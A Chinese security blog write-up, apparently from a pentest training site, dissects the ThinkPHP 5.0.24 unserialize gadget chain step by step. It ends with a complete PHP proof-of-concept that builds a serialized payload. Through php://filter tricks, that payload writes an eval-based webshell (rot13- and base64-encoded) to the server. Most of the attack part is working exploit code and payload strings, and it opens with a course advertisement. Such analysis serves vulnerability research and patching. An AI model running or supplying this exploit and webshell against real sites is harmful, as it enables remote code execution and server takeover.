ThinkPHP5.0.24反序列化
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
前言
作为一名小白,对于反序列化,之前一直没有时间接触,只在ctf中偶尔遇见,而且还是很短的那种,在项目源码中利用反序列化,要比前者难得多,所以这次我利用两天的时间,好好研究了thinkphp5.0.24这个经典的反序列化漏洞,收获不少,在此记录一下。
复现环境
windows10
phpstudy(apache+mysql)
thinkphp5.0.24
php5.6.9
搭建环境
下载thinkPHP
下载地址:http://www.thinkphp.cn/donate/download/id/1279.html
将源码解压后放到PHPstudy根目录,修改application/index/controller/Index.php文件,此为框架的反序列化漏洞,只有二次开发且实现反序列化才可利用。所以我们需要手工加入反序列化利用点。
class Index{
public function index(){
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a']));
}
}
访问一下,确保能正常访问。
分析
我们的目的就是通过__destruct想法设法调用output类中的__call来实现命令执行,首先查找__destruct
找到这些,就不一个个分析了,只有Windows,php里的__destruct可以作为入口点。
我们进入Windows,php查看该__destruct
public function __destruct(){
$this->close();
$this->removeFiles();
}
跟进这两个方法,发现close为关闭文件的方法,没有利用点,而removeFiles中有个file_exists正好可以触发__toString.
private function removeFiles(){
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
然后我们就去寻找__toString。全局搜素__toString
发现了这么多,根据前人的铺垫我们选择Model中的__toString。代码如下:
public function __toString(){
return $this->toJson();
}
跟进toJson
public function toJson($options = JSON_UNESCAPED_UNICODE){
return json_encode($this->toArray(), $options);
}
跟进toArray
public function toArray()
{
……..
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, ‘.’)) {
list($key, $attr) = explode(‘.’, $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, ‘getBindAttr’)) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception(‘bind attr has exists:’ . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
只要对象可控,且调用了不存在的方法,就会调用__call方法。大体扫描了一遍,发现能调用__call的只有如下四个形式,
$item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;
通过分析发现1,2$relation返回错误,不可利用。3中的$modelRelation只能为Relation类型,因此不可控。
只有4是可以利用的,要使代码走到4,需要多个关卡。
七大关
!empty($this->append) # $this->append不为空
!is_array($name) #$name不能为数组
!strpos($name, '.') #$name不能有.
method_exists($this, $relation)#$relation必须为Model类里的方法
method_exists($modelRelation, 'getBindAttr')#$modelRelation必须存在getBindAttr方法
$bindAttr #必须有值
!isset($this->data[$key]) #$key不能在$this->data这个数组里有相同的值。
只有通过这七关我们就来到代码4了。
第1-4关
我们来分析一下。在toArray方法中,$this->append是可控的,因此$key和$name也是可控的,我们只需要使$this->append=’fuck‘]随便几个字符就可通过前三关,到了第四关,发现$relation跟$name有关系.如下:
$relation = Loader::parseName($name, 1, false);
通过搜索发现parseName这是一个风格转换函数,也就是说$name==$relation。
/**
* 字符串命名风格转换
* type 0 将 Java 风格转换为 C 的风格 1 将 C 风格转换为 Java 的风格
* @access public
* @param string $name 字符串
* @param integer $type 转换类型
* @param bool $ucfirst 首字母是否大写(驼峰规则)
* @return string
*/
public static function parseName($name, $type = 0, $ucfirst = true){
if ($type) {
$name = preg_replace_callback(‘/_([a-zA-Z])/’, function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
}
return strtolower(trim(preg_replace(“/[A-Z]/”, “_\\0”, $name), “_”));
}
所以,要想通过第四关,我们就不能瞎写了,需要写成$this->append=[‘getError’],getError为Model类里的方法,且结构简单返回值可控。代码如下:
public function getError(){
return $this->error;
}
第5关
$modelRelation定义如下:
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
第四关时已经说了,$relation为getError,返回值可控,即$modelRelation可控。跟进getRelationData方法,如下
protected function getRelationData(Relation $modelRelation){
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, ‘getRelation’)) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException(‘method not exists:’ . get_class($modelRelation) . ‘-> getRelation’);
}
}
return $value;
}
我们看到$modelRelation必须为Relation对象,通过$this->error控制,并且$modelRelation这个对象还要有isSelfRelation()、getModel()方法,
搜索这两种方法发现Relation类中都有,但因为Relation为抽象类,需要寻找他的子类。全局搜索。
除了最后一个是抽象类外,都可以拿来用,但是!!!,我们别忘了第五关,需要$modelRelation必须存在getBindAttr方法,但是Relation没有getBindAttr方法,只有OneToOne类里有,且OneToOne类正好继承Relation类,不过是抽象类,所以我们需要找它的自类。全局搜索
发现存在两个可用的,我们选择第二个HasOne,即$this->error=new HasOne()。好了,调用方法的问题解决了,但是还需要过三小关
$this->parent
!$modelRelation->isSelfRelation()
get_class($modelRelation->getModel()) == get_class($this->parent)
$this->parent可控,我们要使用Output类中的__call,所以$value必须为output对象,所以$this->parent必须控制为output对象,即$this->parent=new Output().
我们看一下isSelfRelation()方法
public function isSelfRelation(){
return $this->selfRelation;
}
$this->selfRelation可控,设为false即可。
第2小关已过,看第3小关,
get_class()的意思为 返回对象实例 obj 所属类的名字。
$this->parent已经确定为Output类了,所以我们要控制get_class($modelRelation->getModel())为Output类,看一下getModel()的实
public function getModel(){
return $this->query->getModel();
}
$this->query可控,我们只需要找个getModel方法返回值可控的就可了,全局搜索getModel方法
发现前两个的getModel方法返回值都可控,如下:
public function getModel(){
return $this->model;
}
随机挑选一个幸运儿Query,使$this->query=new Query() ,$this->model=new Output()即可。
三小关已过,if方法为True,$value=$this->parent=new Output(). 第五关也顺其而然的过了。
第6关
$bindAttr的定义如下
$bindAttr = $modelRelation->getBindAttr();
看一下getBindAttr()方法:
public function getBindAttr(){
return $this->bindAttr;
}
$this->bindAttr可控,$this->bindAttr=[“kanjin”,”kanjinaaa”],随便写即可。
终于到达 $item[$key] = $value ? $value->getAttr($attr) : null; 因为Output类中没有getAttr方法,所以会去调用__call方法。
__call
查看Output类中的__call方法
public function __call($method, $args){
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
}
else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
当因为没有getAttr方法去调用__call方法时,__call方法中的$method=getAttr, $args=[‘kanjinaaa’]
我们要使用call_user_func_array([$this, ‘block’], $args); 就要使in_array($method, $this->styles)成立。$this->styles可控,即$this->styles=[‘getAttr’]
array_unshift($args, $method); 是将$method添加到数组$args中不用管。
进入call_user_func_array([$this, ‘block’], $args); 调用了block方法,跟进block方法。
protected function block($style, $message){
$this->writeln("<{$style}>{$message}</$style>");
}
跟进writeln方法
public function writeln($messages, $type = self::OUTPUT_NORMAL){
$this->write($messages, true, $type);
}
跟进write方法
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL){
$this->handle->write($messages, $newline, $type);
}
$this->handle可控全局查找可利用的write方法。
这里我使用了/thinkphp/library/think/session/driver/Memcache.php里的write方法,因为有set可作为跳板。
public function write($sessID, $sessData){
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
$this->handler可控,全局查找set方法,
这里使用了/thinkphp/library/think/cache/driver/File.php里的set方法.
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
可以看到这里有文件写入操作,可以写入webshell,但是$data是由$value控制的,$value为writeln中的true,不可控。但是进入setTagItem方法之后发现,会将$name换成$value再一次执行了set方法。setTagItem方法如下:
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
而$name通过getCacheKey方法我们是可控的,getCacheKey方法如下:
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
$this->options[‘path’]可控,通过php伪协议绕过exit()限制,即
$this->options['path']=php://filter/write=string.rot13/resource=./ cuc cucvasb();riny($_TRG[pzq]);
生成的文件名为
md5('tag_'.md5($this->tag))
即:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=>
3b58a9545013e88c7186db11bb158c44 cuc cucvasb();riny($_TRG[pzq]); +
最终文件名:
3b58a9545013e88c7186db11bb158c44.php cuc cucvasb();riny($_TRG[pzq]);
但是上面这种文件名只能在Linux使用,window对文件名有限制。
对于windows环境我们可以使用以下payload.
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
生成的文件名如下:
a.php3b58a9545013e88c7186db11bb158c44.php
原理可以看这篇文章:https://xz.aliyun.com/t/7457#toc-3
poc
通过以上分析编写出了poc,里面包含了我在编写时遇到的问题和解决方法,共勉。
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
use think\model\relation\HasOne; // use 这里是类名 写成了use think\model\relation\hasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
public $parent; // 类型写错写错了 写成了 protected $parent;
public function __construct(){
$this->append=[“getError”];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = []; //类型错了 写成了private $styles = [];
function __construct(){
$this->styles=[‘getAttr’]; //这个条件忘记加了 注意上下文
$this->handle=new Memcache();
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=[“kanjin”,”kanjin”];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
‘expire’ => 0,
‘cache_subdir’ => false,
‘prefix’ => ”,
‘path’ => ‘php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php’,
‘data_compress’ => false,
];
}
}
namespace think\cache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//
?>
漏洞复现
通过poc生成base64字符串,进行利用。
访问a.php3b58a9545013e88c7186db11bb158c44.php
参考链接
- https://www.yuque.com/tidesec/0sec/26a6f72b99dd3465134d534f96aab0a0#IS5Q6
- https://xz.aliyun.com/t/7457#toc-3
- https://www.anquanke.com/post/id/196364
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/4586.html